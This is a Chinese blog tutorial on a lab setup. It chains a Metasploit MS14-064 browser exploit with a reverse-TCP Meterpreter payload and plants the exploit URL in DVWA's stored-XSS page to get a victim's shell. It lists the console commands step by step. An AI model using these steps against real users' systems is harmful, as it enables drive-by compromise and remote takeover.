【XSS漏洞】通过XSS实现网页挂马

【XSS漏洞】通过XSS实现网页挂马

Hello,各位小伙伴们大家好~

端午假期第一天,大家玩嗨了嘛?
【XSS漏洞】通过XSS实现网页挂马_第1张图片
小编是玩嗨了,毕竟已经拖更五天了…
【XSS漏洞】通过XSS实现网页挂马_第2张图片
好啦,直接进入正题吧,前面也写了两期XSS相关的内容,今天就来点高大上的(并不是!),我们来通过XSS实现网页挂马吧~


一、准备工作

实验拓扑:
【XSS漏洞】通过XSS实现网页挂马_第3张图片
实验分为两部分:

1、通过Kali linux,利用MS14_064漏洞,制作一个木马服务器。存在该漏洞的用户一旦通过浏览器访问木马服务器,就会缓冲区溢出,攻击者可以直接获取用户的系统Shell。

2、将木马服务器的URL,插入到一个存在XSS漏洞的正常web服务器中,一旦有人访问该服务器的挂马页面,而且该用户存在MS14_064漏洞,就会中招。

Here we go ~


Part 1:制作木马服务器

1、基本介绍

(1)MS14_064漏洞

MS代表MicroSoft,14_064指的是2014年的第64个漏洞。

该漏洞影响范围为Win95+IE3 – Win10+IE11全版本,造成被攻击主机缓冲区溢出,触发该漏洞需要客户端安装有power shell软件。

(2)MetaSploit Framework(MFS)

本次进行缓冲区溢出的工具主要是MetaSploit Framework,其中集成了各个平台上常见的溢出漏洞和利用代码,并且不断更新。

Kali linux 自带该工具,可直接使用。

MFS包含三个基本模块:

  • 渗透攻击模块(exploit),用于实际发起渗透攻击;
  • 辅助模块(auxiliary),执行扫描之类的动作;
  • 攻击载荷模块(payload),目标系统被成功渗透后执行的代码,payload中的主要内容包括shellcode,一段获取shell的代码。

一般都是先使用渗透攻击模块exploit对目标系统进行渗透(如溢出),渗透成功后执行攻击载荷模块payload。

2、MFS基本操作

启动msf:root@kali:~# msfconsole

初始化数据库:msf5 > msfdb init //数据库初始化后,msf查询速度会大幅提升

msf5 > db_status #查看MSF数据库连接状态 。

【XSS漏洞】通过XSS实现网页挂马_第4张图片

3、使用MS14_064漏洞

首先我们搜索一下MS14_064漏洞,msf5 > search MS14_064
【XSS漏洞】通过XSS实现网页挂马_第5张图片
调用这个exploit:

msf 5> use exploit/windows/browser/ms14_064_ole_code_execution

查看一下这个exploit需要配置的选项:

msf5 exploit(ms14_064_ole_code_execution) > show options

【XSS漏洞】通过XSS实现网页挂马_第6张图片

设置允许调用powershell:

msf5 exploit(ms14_064_ole_code_execution) > set AllowPowershellPrompt true

//该漏洞需要利用目标主机powershell功能进行攻击

设置木马服务器IP(Kali IP):

msf exploit(ms14_064_ole_code_execution) > set srvhost 192.168.211.134

在这里插入图片描述
设置调用的payload:
msf5 exploit(ms14_064_ole_code_execution) > set payload windows/meterpreter/reverse_tcp

这里使用反弹连接payload,让靶机主动连接我们。使用reverse类型的好处在于,可以不用担心连接被靶机的防火墙阻断。

设置监听IP(kali IP):
msf5 exploit(ms14_064_ole_code_execution) > set lhost 192.168.211.134

再设置一下监听接口,靶机中招后会主动连接我们这个端口:
msf5 exploit(ms14_064_ole_code_execution) > set lport 4444

最后,输入exploit(或者run)开启攻击服务:
【XSS漏洞】通过XSS实现网页挂马_第7张图片
kali 的web服务已开启,并生成了一个URL:http://192.168.211.134:8080/Dyvk2r6MwyGc,一旦存在MS14_064漏洞的主机访问这个URL,就会被控制。

4、尝试控制靶机

我们使用一台Windows xp主机(192.168.211.171),通过浏览器访问http://192.168.211.134:8080/Dyvk2r6MwyGc。

Kali 立刻提示已发送exploit至目标主机,并且打开了一个连接:

在这里插入图片描述
通过session -l 我们可以查看当前有会话的主机,id号为1:

【XSS漏洞】通过XSS实现网页挂马_第8张图片

使用 session -i +id号,我们就可以连上靶机了。

输入shell,成功取得靶机的shell:

【XSS漏洞】通过XSS实现网页挂马_第9张图片
下一步,我们就想办法,通过XSS将这个URL挂到一个web服务器上去,就不用我们亲自去传播这个木马了~


Part 2:网页挂马

接下来我们就开始网页挂马吧~

首先我们的目标是一个存在存储型XSS漏洞的网页,看过我前面文章的小伙伴们应该知道,DVWA平台上就有专门给我们练习存储型XSS漏洞的页面,我们就通过这个网页来实践挂马。

【XSS漏洞】通过XSS实现网页挂马_第10张图片

将网页安全等级调整为low,插入如下语句:

但是会发现网页有输入长度限制:

【XSS漏洞】通过XSS实现网页挂马_第11张图片
由于是前端限制,利用火狐浏览器,查看源代码修改长度限制即可:

在这里插入图片描述

输入后顺利插入:

【XSS漏洞】通过XSS实现网页挂马_第12张图片

此时,我们查看网页源代码,就能看到js脚本了:

【XSS漏洞】通过XSS实现网页挂马_第13张图片

最后,使用靶机浏览器访问这个挂马网页:

【XSS漏洞】通过XSS实现网页挂马_第14张图片

查看Kali,成功连接:
【XSS漏洞】通过XSS实现网页挂马_第15张图片

payload 除了使用script标签以外,还有其他多种标签,如:

在这里插入图片描述


好啦,这就是今天的全部内容了,小伙伴们都学会了吗?

如有问题,欢迎到我的微信公众号留言哦~

peace!

你可能感兴趣的:(XSS,web安全)